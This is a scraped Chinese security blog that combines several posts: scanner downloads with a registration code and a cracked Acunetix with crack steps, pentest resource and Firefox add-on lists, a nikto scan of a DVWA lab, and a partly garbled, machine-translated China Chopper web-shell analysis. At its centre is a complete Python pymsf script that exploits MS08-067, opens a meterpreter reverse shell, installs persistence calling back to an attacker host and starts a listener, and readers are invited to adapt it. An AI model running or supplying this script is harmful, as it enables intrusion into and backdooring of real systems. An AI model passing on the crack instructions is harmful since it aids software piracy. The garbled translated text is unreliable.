WebCruiser Web Vulnerability Scanner 3.5.3 注册码+软件+PDF说明+使用指南 安全工具
Web安全扫描工具WebCruiser - Web Vulnerability Scanner
运行平台:Windows with .Net FrameWork 2.0或以上
界面语言:英文版
功能简介
* 网站爬虫(目录及文件);
* 漏洞扫描(SQL注入,跨站脚本,XPath注入);
* 漏洞验证(SQL注入,跨站脚本,XPath注入);
* SQL Server明文/字段回显/盲注;
* MySQL字段回显/盲注;
* Oracle字段回显/盲注;
* DB2字段回显/盲注;
* Access字段回显/盲注;
* 管理入口查找;
* GET/Post/Cookie 注入;
* 搜索型注入延时;
* 自动从自带浏览器获取Cookie进行认证;
* 自动判断数据库类型;
* 自动获取关键词;
* 多线程;
* 高级:代理、敏感词替换/过滤;
* 报告;
与其他的Web安全扫描软件相比较有以下特点:
Web漏洞扫描器是webcruiser Web漏洞
扫描仪主要集中在高风险漏洞,并webcruiser可以
扫描指定的漏洞类型,或指定的URL,或
指定独立页面,而别的工具通常不能.
注册码:
[email protected]
下载地址:链接:http://pan.baidu.com/s/1sjNsnG5 密码:nrvb
官方下载:http://www.janusec.com/downloads/
渗透扫描器-Acunetix.Web.Vulnerability.Scanner.v9.5-破解版 安全工具
Mrxn提示:本文中的工具只用于学习测试使用,禁止用于非法途径.
Acunetix.Web.Vulnerability.Scanner.v9.5 破解版
====================================================================
软件名称:web.vulnerability.scanner
版本:9.5.2015.19-02零售
释放型:顾问版
最后更新:二月19 2015上午10:38
操作系统:所有Windows系统
开发商:Acunetix
主页:http://www.acunetix.com/
作者不负责该产品的不良使用。
这只是作为学习和研究的目的。
如果你喜欢这个程序,请支持开发商和购买它!!
步骤:
------
1)解压rar文件。
2)安装应用程序
3)替换换crack文件夹里面的东西文件到安装文件目录。
4)打开软件,输入任何注册码,例如9999-9999-9999-9999和任何名字,公司等。
解压缩,直接安装就后,请替换crack文件夹里面的文件到wvs的安装目录,然后随便输入注册码,公司,姓名等信息,OK:
软件更新地址: Mrxn's Blog----https://mrxn.net 解压密码就是博客域名(加上www)
下载地址: 链接: http://pan.baidu.com/s/1sjOEe0P 密码: 6fpy
国外整理的一套在线渗透测试资源合集 资源分享
渗透测试阿克西
一组很棒的渗透测试资源,包括工具、书籍、会议、杂志和其他的东西
-
目录:
-
在线资源
-
渗透测试资源
-
Shell 脚本资源
-
Linux 资源
-
Shellcode 开发
-
Social社工资源
-
开锁资源
-
工具
-
渗透测试系统版本
-
渗透测试基础工具
-
漏洞扫描器
-
网络工具
-
Hex编辑器
-
破解
-
Windows程序
-
DDoS 工具
-
社工工具
-
藏形工具
-
逆向工具
-
书籍
-
渗透测试书籍
-
黑客手册系列
-
网络分析书籍
-
逆向工程书籍
-
恶意程序分析书籍
-
Windows书籍
-
社工书籍
-
开锁书籍
-
漏洞库
-
安全教程
-
信息安全会议
-
信息安全杂志
-
其他
-
总结
在线资源
渗透测试资源
-
Metasploit Unleashed - 免费的metasploit教程
-
PTES - 渗透测试执行标准
-
OWASP - 开放式Web应用程序安全项目
-
OSSTMM - 开源安全测试方法手册
Shell 脚本资源
-
LSST - linux shell脚本教程
Linux 资源
-
Kernelnewbies - 一个出色的Linux内核资源的社区
Shellcode 开发
-
Shellcode Tutorials - 如何编写shellcode的教程
-
Shellcode examples - Shellcodes 的库
社工资源
-
Social Engineering Framework - 一些社工的资源
开锁资源
-
Schuyler Towne channel - 开锁视频和安全沙龙
工具
渗透测试系统版本
-
Kali - 一个Linux发行版,用来做数字取证和渗透测试。
-
NST - 网络安全工具包发行版
-
Pentoo - 着眼于安全的基于Gentoo的 LiveCD
-
BackBox - 基于Ubuntu的发行版,用于渗透测试及安全评估
渗透测试基础工具
-
Metasploit - 应用最广的渗透测试软件
-
Burp - 抓包工具,针对Web应用执行安全检测
漏洞扫描器
-
Netsparker - Web应用安全扫描器
-
Nexpose - 漏洞管理&风险控制软件
-
Nessus - 漏洞,配置,和合规检测
-
Nikto - Web应用的漏洞扫描
-
OpenVAS - 开源漏洞扫描器
-
OWASP Zed Attack Proxy - web应用的渗透测试工具
-
w3af - Web应用工具和审计框架
-
Wapiti - Web应用漏洞
网络工具
-
nmap - 免费的安全扫描器,用于网络勘测和安全审计
-
tcpdump/libpcap - 一种常见的命令行数据包分析工具
-
Wireshark - 一个Unix和Windows系统的传输协议分析工具
-
Network Tools - 信息收集: ping, lookup, whois, 等等
-
netsniff-ng - 网络嗅探利器
-
Intercepter-NG - 多功能网络工具包
SSL 分析工具
-
SSLyze - SSL 配置扫描器
Hex 编辑器
-
HexEdit.js - 基于浏览器的hex编辑器
解密工具
-
John the Ripper - 快速破解密码
-
Online MD5 cracker - 在线MD5破解
Windows 程序
-
Sysinternals Suite - Sysinternals故障诊断小工具
-
Windows Credentials Editor - 集成了列举、添加、更改、删除身份验证的功能的安全工具
DDoS 工具
社工工具
-
SET - 来自TrustedSec的社工工具箱
藏匿工具
逆向工具
-
IDA Pro - Windows、Linux 、Mac OS X反汇编和调试器
-
WDK/WinDbg - Windows下的内核态调试工具
-
OllyDbg - x86调试器,主要做二进制代码分析
书籍
渗透测试书籍
-
Metasploit: The Penetration Tester's Guide by David Kennedy and others, 2011
-
Penetration Testing: A Hands-On Introduction to Hacking by Georgia Weidman, 2014
-
The Basics of Hacking and Penetration Testing by Patrick Engebretson, 2013
-
Advanced Penetration Testing for Highly-Secured Environments by Lee Allen,2012
-
Fuzzing: Brute Force Vulnerability Discovery by Michael Sutton, Adam Greene, Pedram Amini, 2007
黑客手册系列
-
The Web Application Hackers Handbook by D. Stuttard, M. Pinto, 2011
-
Android Hackers Handbook by Joshua J. Drake and others, 2014
-
The Browser Hackers Handbook by Wade Alcorn and others, 2014
网络分析书籍
逆向工程书籍
-
Reverse Engineering for Beginners by Dennis Yurichev (free!)
-
Practical Reverse Engineering by Bruce Dang and others, 2014
恶意程序分析书籍
-
Practical Malware Analysis by Michael Sikorski, Andrew Honig, 2012
-
The Art of Memory Forensics by Michael Hale Ligh and others, 2014
Windows书籍
社会工程学书籍
-
The Art of Deception by Kevin D. Mitnick, William L. Simon, 2002
-
The Art of Intrusion by Kevin D. Mitnick, William L. Simon, 2005
-
Ghost in the Wires by Kevin D. Mitnick, William L. Simon, 2011
-
Social Engineering: The Art of Human Hacking by Christopher Hadnagy, 2010
-
Unmasking the Social Engineer: The Human Element of Security by Christopher Hadnagy, 2014
开锁书籍
漏洞库
-
NVD - 美国国家漏洞库
-
CERT - 美国国家应急响应中心
-
OSVDB - 开源漏洞库
-
Bugtraq - 赛门铁克
-
Exploit-DB - exp的库
-
Fulldisclosure - Fulldisclosure邮件列表
-
MS Bulletin - 微软安全公告
-
MS Advisory - 微软安全报告
-
Inj3ct0r - Inj3ct0r Exp的库
-
Packet Storm - Packet Storm全球安全资源
-
SecuriTeam - Securiteam 漏洞库
-
CXSecurity - CSSecurity Bugtraq列表
-
Vulnerability Laboratory - 漏洞研究实验室
-
ZDI - 0day库
安全课程
-
Offensive Security Training - BackTrack/Kali开发者的培训
-
SANS Security Training - 计算机安全培训和认证
-
Open Security Training - 计算机安全课程培训资料
-
CTF Field Guide - 下一次CTF比赛必学
信息安全会议
-
DEF CON - 一年一度的在拉斯维加斯举行的黑客会议
-
Black Hat - 一年一度的在拉斯维加斯举行的安全会议
-
BSides - 没去过,不解释
-
CCC - 德国每年一次的黑客会议
-
DerbyCon - 每年一度的黑客会议,根据地在Louisville
-
PhreakNIC - 一年一度,美国Tennessee州中部
-
ShmooCon - 一年一度美国西部的黑客会议
-
CarolinaCon - 北加利福尼亚,一年一度
-
HOPE - 黑客杂志2600主办的一系列会议
-
SummerCon - 夏天举办的最古老的黑客大会
-
Hack.lu - 卢森堡一年一度
-
HITB - 在马里西亚和荷兰
-
Troopers - 德国海德堡,一年一度
-
Hack3rCon - 一年一度的美国黑客大会
-
ThotCon - 芝加哥一年一度的美国黑客大会
-
LayerOne - 每年春天洛杉矶的黑客大会
-
DeepSec - 奥地利维也纳的安全会议
-
SkyDogCon - 纳什维尔的安全会议
安全杂志
-
2600: The Hacker Quarterly - 美国的一本关于计算机技术的地下杂志
-
Hakin9 - A安全每周更新的在线杂志
其他
-
SecTools - 网络安全工具前125
-
C/C++ Programming - 开源工具的主要语言之一
-
.NET Programming - 一个开发框架
-
Shell Scripting - 命令行集成工具包
-
Ruby Programming by @dreikanter - 编写exp的实用语言
-
JavaScript Programming - 浏览器开发脚本
-
Node.js Programming by @sindresorhus - 命令行的js
-
Python tools for penetration testers - 很多渗透工具都是用python写的
-
Python Programming by @svaksha - 通用python项目
-
Andorid Security - 安卓安全资源聚合
-
Awesome Awesomness - 。。。
总结
感谢cctv感谢btv感谢XXTV
本文由 Mrxn's Blog 翻译,转载请注明“转自Mrxn's Blog”,并附上链接。
原文链接:https://github.com/enaqx/awesome-pentest#online-resources
34款Firefox渗透测试插件 安全工具
工欲善必先利其器,firefox一直是各位渗透师必备的利器,Mrxn这里推荐34款firefox渗透测试辅助插件,其中包含渗透测试、信息收集、代理、加密解密等功能。(下面的链接用火狐浏览器直接打开就可以安装了)
1:Firebug
Firefox的 五星级强力推荐插件之一,不许要多解释
2:User Agent Switcher
改变客户端的User Agent的一款插件
3:Hackbar
攻城师必备工具,提供了SQL注入和XSS攻击,能够快速对字符串进行各种编码。
4:HttpFox
监测和分析浏览器与web服务器之间的HTTP流量
5:Live HTTP Headers
即时查看一个网站的HTTP头
6:Tamper Data
查看和修改HTTP/HTTPS头和POST参数
7:ShowIP
在状态栏显示当前页的IP地址、主机名、ISP、国家和城市等信息。
8:OSVDB
开放源码的漏洞数据库检索
9:Packet Storm search plugin
Packet Storm提供的插件,可以搜索漏洞、工具和exploits等。
10:Offsec Exploit-db Search
搜索Exploit-db信息
11:Security Focus Vulnerabilities Search Plugin
在Security Focus上搜索漏洞
12:Cookie Watcher
在状态栏显示cookie
13:Header Spy
在状态栏显示HTTP头
14:Groundspeed
Manipulate the application user interface.
15:CipherFox
在状态栏显示当前SSL/TLS的加密算法和证书
16:XSS Me
XSS测试扩展
17:SQL Inject Me
SQL注入测试扩展
18:Wappalyzer
查看网站使用的应用程序
19:Poster
发送与Web服务器交互的HTTP请求,并查看输出结果
20:Javascript Deobfuscator
显示网页上运行的Javascript代码
21:Modify Headers
修改HTTP请求头
22:FoxyProxy
代理工具
23:FlagFox
可以在地址栏或状态栏上显示出当前网站所在国家的国旗,也有更多的其他功能,如:双击国旗可以实现WOT功能;鼠标中键点击是whois功能。当然用户可以在选项里设置快捷键实现诸如复制IP,维基百科查询等功能。
24:Greasemonkey
greasemonkey 使你可以向任何网页添加DHTML语句(用户脚本)来改变它们的显示方式。就像CSS可以让你接管网页的样式,而用户脚本(User Script)则可以让你轻易地控制网页设计与交互的任何方面。例如:
使页面上显示的 URL 都成为可以直接点击进入的链接。 增强网页实用性,使你经常访问的网站更符合你的习惯。* 绕过网站上经常出现的那些烦人的 Bug。
25:Domain Details
显示服务器类型、IP地址、域名注册信息等
26:Websecurify
Websecurify是WEB安全检测软件的Firefox的扩展,可以针对Web应用进行安全评估
27:XSSed Search
搜索XSSed.Com跨站脚本数据库
28:ViewStatePeeker
查看asp.net的iewState
29:CryptoFox
破解MD5、加密/解密工具
30:WorldIP
显示服务器的IP、地址、PING、Traceroute、RDNS等信息
31:Server Spy
识别访问的web服务器类型,版本以及IP地址的插件
32:Default Passwords
搜索CIRT.net默认密码数据库。
33:Snort IDS Rule Search
搜索Snort的IDS规则,做签名开发的应该很有用。
34:FireCAT
FireCAT (Firefox Catalog of Auditing exTensions)是一个收集最有效最有用的应用程序安全审计和风险评估工具的列表(这些工具以Firefox插件形式发布的),FireCAT中没有收集的安全工具类型包括:fuzzer,代理和应用程序扫描器.
欢迎各位小菜和大牛提出更好的建议,有好的工具别藏着呀!拿出来!
crack tools share 神器荟萃
1.吾爱破解虚拟机,里面包括论坛工具包.而且此虚拟机能有效防止crack软件的时候被格盘!
地址:http://pan.baidu.com/s/1sj2sTBZ
2.一蓑烟雨 论坛2015的最新工具包集合,一蓑烟雨-国内知名的逆向论坛之一.不解释!
地址:http://pan.baidu.com/s/1eQhaFyM
3.更多的crack小工具请前往: crack tools
Kali套件之nikto扫描网站漏洞应用小计 Linux
nikto帮助文档 帮助文档比较复杂,这里就使用最简单的几种方法: root@kali:~# nikto -H Options: -ask+ Whether to ask about submitting updates yes Ask about each (default) no Don't ask, don't send auto Don't ask, just send -Cgidirs+ Scan these CGI dirs: "none", "all", or values like "/cgi/ /cgi-a/" -config+ Use this config file -Display+ Turn on/off display outputs: 1 Show redirects 2 Show cookies received 3 Show all 200/OK responses 4 Show URLs which require authentication D Debug output E Display all HTTP errors P Print progress to STDOUT S Scrub output of IPs and hostnames V Verbose output -dbcheck Check database and other key files for syntax errors -evasion+ Encoding technique: 1 Random URI encoding (non-UTF8) 2 Directory self-reference (/./) 3 Premature URL ending 4 Prepend long random string 5 Fake parameter 6 TAB as request spacer 7 Change the case of the URL 8 Use Windows directory separator (\) A Use a carriage return (0x0d) as a request spacer B Use binary value 0x0b as a request spacer -Format+ Save file (-o) format: csv Comma-separated-value htm HTML Format msf+ Log to Metasploit nbe Nessus NBE format txt Plain text xml XML Format (if not specified the format will be taken from the file extension passed to -output) -Help Extended help information -host+ Target host -IgnoreCode Ignore Codes--treat as negative responses -id+ Host authentication to use, format is id:pass or id:pass:realm -key+ Client certificate key file -list-plugins List all available plugins, perform no testing -maxtime+ Maximum testing time per host -mutate+ Guess additional file names: 1 Test all files with all root directories 2 Guess for password file names 3 Enumerate user names via Apache (/~user type requests) 4 Enumerate user names via cgiwrap (/cgi-bin/cgiwrap/~user type requests) 5 Attempt to brute force sub-domain names, assume that the host name is the parent domain 6 Attempt to guess directory names from the supplied dictionary file -mutate-options Provide information for mutates -nointeractive Disables interactive features -nolookup Disables DNS lookups -nossl Disables the use of SSL -no404 Disables nikto attempting to guess a 404 page -output+ Write output to this file ('.' for auto-name) -Pause+ Pause between tests (seconds, integer or float) -Plugins+ List of plugins to run (default: ALL) -port+ Port to use (default 80) -RSAcert+ Client certificate file -root+ Prepend root value to all requests, format is /directory -Save Save positive responses to this directory ('.' for auto-name) -ssl Force ssl mode on port -Tuning+ Scan tuning: 1 Interesting File / Seen in logs 2 Misconfiguration / Default File 3 Information Disclosure 4 Injection (XSS/Script/HTML) 5 Remote File Retrieval - Inside Web Root 6 Denial of Service 7 Remote File Retrieval - Server Wide 8 Command Execution / Remote Shell 9 SQL Injection 0 File Upload a Authentication Bypass b Software Identification c Remote Source Inclusion x Reverse Tuning Options (i.e., include all except specified) -timeout+ Timeout for requests (default 10 seconds) -Userdbs Load only user databases, not the standard databases all Disable standard dbs and load only user dbs tests Disable only db_tests and load udb_tests -until Run until the specified time or duration -update Update databases and plugins from CIRT.net -useproxy Use the proxy defined in nikto.conf -Version Print plugin and database versions -vhost+ Virtual host (for Host header) + requires a value
nikto使用示例
使用前需要更新nikto,输入命令:
nikto -update |
但有时候会出现网路问题,作者这里这样处理的,如下,不知道对不对。
root@kali:~# nikto -update |
|
+ Retrieving 'db_tests' |
我没有更新Kali系统,所以显示的不是最新版的nikto.
+ ERROR: Unable to get CIRT.net/nikto/UPDATES/2.1.5/db_tests |
首先查找文件【 db_tests 】:
root@kali:~# cd / |
|
root@kali:/# find . -name "db_tests" |
./usr/share/webshag/database/nikto/db_tests |
|
./var/lib/nikto/databases/db_tests |
然后删掉文件,重新更新,就可以了:
root@kali:/# cd /var/lib/nikto/databases/ |
|
root@kali:/var/lib/nikto/databases# rm db_tests |
root@kali:/var/lib/nikto/databases# nikto -update |
|
+ Retrieving 'db_tests' |
+ CIRT.net message: Please submit Nikto bugs to http://trac2.assembla.com/Nikto_2/report/2 |
如果还是不行,就手动下载:
root@kali:/var/lib/nikto/databases# wget CIRT.net/nikto/UPDATES/2.1.5/db_tests |
更新好之后就可以扫描了:
root@kali:/var/lib/nikto/databases# nikto -host http://192.168.168.109/DVWA-1.0.8 |
|
- Nikto v2.1.5 |
--------------------------------------------------------------------------- |
|
+ Target IP: 192.168.168.109 |
+ Target Hostname: 192.168.168.109 |
|
+ Target Port: 80 |
+ Start Time: 2015-04-30 20:08:40 (GMT8) |
|
--------------------------------------------------------------------------- |
+ Server: Apache/2.4.9 (Unix) OpenSSL/1.0.1g PHP/5.5.11 mod_perl/2.0.8-dev Perl/v5.16.3 |
|
+ Retrieved x-powered-by header: PHP/5.5.11 |
+ The anti-clickjacking X-Frame-Options header is not present. |
|
+ Cookie PHPSESSID created without the httponly flag |
+ Cookie security created without the httponly flag |
|
+ Root page / redirects to: login.php |
+ No CGI Directories found (use '-C all' to force check all possible dirs) |
+ Server leaks inodes via ETags, header found with file /DVWA-1.0.8/robots.txt, fields: 0x1a 0x4dba8594c3d80 |
+ File/dir '/' in robots.txt returned a non-forbidden or redirect HTTP code (302) |
|
+ "robots.txt" contains 1 entry which should be manually viewed. |
+ Allowed HTTP Methods: POST, OPTIONS, GET, HEAD, TRACE |
|
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST |
+ OSVDB-3268: /DVWA-1.0.8/config/: Directory indexing found. |
|
+ /DVWA-1.0.8/config/: Configuration information may be available remotely. |
+ OSVDB-3268: /DVWA-1.0.8/docs/: Directory indexing found. |
|
+ /DVWA-1.0.8/login.php: Admin login page/section found. |
+ 6545 items checked: 0 error(s) and 13 item(s) reported on remote host |
+ End Time: 2015-04-30 20:09:03 (GMT8) (23 seconds) |
--------------------------------------------------------------------------- |
|
+ 1 host(s) tested |
漏洞使用
877漏洞:
root@kali:/var/lib/nikto/databases# telnet 192.168.168.109 80 |
|
Trying 192.168.168.109... |
Connected to 192.168.168.109. |
|
Escape character is '^]'. |
|
|
get index.html |
|
|
。。。。。。 |
。。。。。。 |
|
<a href="/">localhost</a><br /> |
<span>Apache/2.4.9 (Unix) OpenSSL/1.0.1g PHP/5.5.11 mod_perl/2.0.8-dev Perl/v5.16.3</span> |
|
</address> |
</body> |
</html> |
|
|
Connection closed by foreign host. |
服务器的配置信息暴露了~~
3268漏洞:
查看网页:
参看服务器端,果然有这个文件。
用Python玩转神器Metasploit 神器荟萃
pymsf是著名安全研究团队Spiderlabs实现的一个Python与Metasploit msgrpc进行通信的python模块,通过它,你可以利用Python玩转渗透测试框架Metasploit。
使用步骤
首先你需要先启动msgrpc服务,命令如下:
load msgrpc Pass=<password>
与msgrpc进行通信其实就是与msfconsole进行通信,首先你需要创建一个msfrpc的类,登录到msgrpc服务器并且创建一个虚拟
的终端,然后你就可以在你创建的虚拟终端上面执行多个命令的字符串.你可以调用模块的方法与console.write执行命令,并且通
过"console.read"从虚拟终端上面读取输入的值.这篇文章将演示如何使用pymsf模块并且如何开发出一个完整的脚本.
这里有一个函数它创建了一个msfrpc实例,登录到msgrpc服务器,并且创建了一个虚拟终端.
def sploiter(RHOST, LHOST, LPORT, session): client = msfrpc.Msfrpc({}) client.login('msf', '123') ress = client.call('console.create') console_id = ress['id']
下一步就是实现把多个字符串发给虚拟终端,通过console.write和console.read在虚拟终端显示与读取:
## Exploit MS08-067 ## commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """ print "[+] Exploiting MS08-067 on: "+RHOST client.call('console.write',[console_id,commands]) res = client.call('console.read',[console_id]) result = res['data'].split('\n')
上面的这一小段代码创建了一个MSF的资源文件,这样你就可以通过"resoucen
"命令去执行指定文件里面中一系列的命令。
下面我们将通过"getsystem"命令把这个文件的提权,建立一个后门打开80端口来转发.并且永久的运
行.最后上传我们的漏洞exp并且在命令模式下面悄悄的安装:
# 这个函数会创建一个MSF .rc文件 def builder(RHOST, LHOST, LPORT): post = open('/tmp/smbpost.rc', 'w') bat = open('/tmp/ms08067_install.bat', 'w') postcomms = """getsystem run persistence -S -U -X -i 10 -p 80 -r """+LHOST+""" cd c:\\ upload /tmp/ms08067_patch.exe c:\\ upload /tmp/ms08067_install.bat c:\\ execute -f ms08067_install.bat """ batcomm = "ms08067_patch.exe /quiet" post.write(postcomms); bat.write(batcomm) post.close(); bat.close()
通过上面的那段代码,将会创建一个.rc的文件.通过msf模块“post/multi/gather/run_console_rc_file”在当前
的meterpreter会话中运行生成的文件,并且通过console.write命令从虚拟终端写入数据,通过console.read命令来回显返回内容:
## 运行生成的exp ## runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """ print "[+] Running post-exploit script on: "+RHOST client.call('console.write',[console_id,runPost]) rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ## sleep(10) listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """ print "[+] Setting up listener on: "+LHOST+":80" client.call('console.write',[console_id,listen]) lres = client.call('console.read',[console_id]) print lres
上面代码中的变量(RHOST, LHOST,
LPORT等)都是通过optparse模块从命令终端输入的,完整的脚本托管在github上面,有时候你需要知道脚本的生成的地方都是静态地址,不会
在其他的目录生成,例如ms08067的补丁就会在你的/tmp/目录下面。
大家只要知道基础然后对下面的代码进行一定的修改就可以编程一个属于你自己的
msf自动化攻击脚本,我们建议通过博客里面发表的一些简单的例子出发,然后自己写一个msf攻击脚本:
import os, msfrpc, optparse, sys, subprocess from time import sleep # Function to create the MSF .rc files def builder(RHOST, LHOST, LPORT): post = open('/tmp/smbpost.rc', 'w') bat = open('/tmp/ms08067_install.bat', 'w') postcomms = """getsystem run persistence -S -U -X -i 10 -p 80 -r """+LHOST+""" cd c:\\ upload /tmp/ms08067_patch.exe c:\\ upload /tmp/ms08067_install.bat c:\\ execute -f ms08067_install.bat """ batcomm = "ms08067_patch.exe /quiet" post.write(postcomms); bat.write(batcomm) post.close(); bat.close() # Exploits the chain of rc files to exploit MS08-067, setup persistence, and patch def sploiter(RHOST, LHOST, LPORT, session): client = msfrpc.Msfrpc({}) client.login('msf', '123') ress = client.call('console.create') console_id = ress['id'] ## Exploit MS08-067 ## commands = """use exploit/windows/smb/ms08_067_netapi set PAYLOAD windows/meterpreter/reverse_tcp set RHOST """+RHOST+""" set LHOST """+LHOST+""" set LPORT """+LPORT+""" set ExitOnSession false exploit -z """ print "[+] Exploiting MS08-067 on: "+RHOST client.call('console.write',[console_id,commands]) res = client.call('console.read',[console_id]) result = res['data'].split('\n') ## Run Post-exploit script ## runPost = """use post/multi/gather/run_console_rc_file set RESOURCE /tmp/smbpost.rc set SESSION """+session+""" exploit """ print "[+] Running post-exploit script on: "+RHOST client.call('console.write',[console_id,runPost]) rres = client.call('console.read',[console_id]) ## Setup Listener for presistent connection back over port 80 ## sleep(10) listen = """use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LPORT 80 set LHOST """+LHOST+""" exploit """ print "[+] Setting up listener on: "+LHOST+":80" client.call('console.write',[console_id,listen]) lres = client.call('console.read',[console_id]) print lres def main(): parser = optparse.OptionParser(sys.argv[0] +\ ' -p LPORT -r RHOST -l LHOST') parser.add_option('-p', dest='LPORT', type='string', \ help ='specify a port to listen on') parser.add_option('-r', dest='RHOST', type='string', \ help='Specify a remote host') parser.add_option('-l', dest='LHOST', type='string', \ help='Specify a local host') parser.add_option('-s', dest='session', type='string', \ help ='specify session ID') (options, args) = parser.parse_args() session=options.session RHOST=options.RHOST; LHOST=options.LHOST; LPORT=options.LPORT if (RHOST == None) and (LPORT == None) and (LHOST == None): print parser.usagesys.exit(0) builder(RHOST, LHOST, LPORT) sploiter(RHOST, LHOST, LPORT, session) if __name__ == "__main__": main()
转自:FreeBuf
剖析中国菜刀第二部分 神器荟萃
介绍
在本系列的第一部分,我描述了中国砍刀的易于使用的界面和先进的功能 - 更卓越的综合考虑网络shell的微小尺寸:73字节的ASPX版本,4千字节的磁盘。在这篇文章中,我将解释中国砍刀平台的通用性,交付机制,流量模式和检测。我的希望是,有了这些信息,你可以消灭这种害虫从您的环境。
平台
那么,什么平台上可以运行中国菜刀?任何Web服务器能够运行JSP,ASP,ASPX,PHP或CFM的。这是大多数Web应用程序语言在那里。什么操作系统?中国斩波器具有足够的灵活性,以在Windows和Linux的透明运行。这个操作系统和应用程序的灵活性,使他们成为更危险的Web外壳。
在本系列的第一部分,我们发现中国砍刀执行使用ASPX在Windows 2003的IIS服务器上。现在,我们将显示它与PHP运行在Linux上。如图1的PHP版本的内容是一样的简约:
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图1:此命令是所有它需要在Linux上使用PHP来运行。<br> <br> <br> <br> 虽然可用选项因什么平台中国砍刀上运行,Linux中的文件管理功能(见图2),类似于那些在Windows中。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><a href="" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg"><img width="782" height="325" class="alignnone size-full wp-image-2662 landscape-med" style="border:0px currentColor;border-image:none;" alt="image002" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image002.jpg" data-ke-src="https://mrxn.net/content/uploadfile/201504/56580223669557b619faa1a69b9d820620150418124111.jpg"></a> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图2:文件浏览功能在目标系统上运行Linux<br> <br> <br> <br> 在图3所示的数据库的客户端的例子是MySQL的,而不是MS-SQL中,但它提供了许多相同的功能。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="297" class="alignnone size-full wp-image-2663 landscape-med" style="border:0px currentColor;border-image:none;" alt="image003" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image003.jpg"> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图3:从目标系统运行Linux的数据库管理<br> <br> <br> <br> 虚拟终端看起来熟悉(图4),但使用的Linux命令代替视窗,因为这些是由底层操作系统最终解释。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><br></p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="296" class="alignnone size-full wp-image-2664 landscape-med" style="border:0px currentColor;border-image:none;" alt="image004" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image004.jpg"></p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;">图4:从目标系统运行的Linux虚拟终端<br> <br> <br> <br> 交付机制<br> <br> 中国斩波的递送机制可以非常灵活,由于恶意软件的有效载荷的大小,格式,和简单。这个小的,基于文本的有效载荷可以通过以下任一机制来递送:<br> <br> WebDAV的文件上传<br> JBoss的JMX控制台或Apache Tomcat的管理页面(有关此攻击媒介的详细信息,请阅读FireEye顾问托尼·李的解释)<br> 与文件放置远程攻击<br> 从其他接入横向传播<br> <br> <br> 流量分析<br> <br> 现在我们已经看到了服务器侧有效载荷和用于控制Web壳客户端。现在,让我们来看看中国砍刀的流量。幸运的是,我们在服务器和客户端组件,所以我们可以开始一个数据包捕获,查看典型流量的内容。如图5所示,客户端启动使用HTTP POST方法通过TCP端口80的连接。</p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><em></em> </p>
<p style="font:12px/18px "margin:5px 0px;color:#000000;text-transform:none;text-indent:0px;letter-spacing:normal;word-spacing:0px;white-space:normal;-ms-word-wrap:break-word;-webkit-text-stroke-width:0px;"><img width="782" height="448" class="alignnone size-full wp-image-2671 landscape-med" style="border:0px currentColor;border-image:none;" alt="image007" src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg" data-ke-src="https://www.fireeye.com/content/dam/legacy/blog/2013/08/image007.jpg"></p>
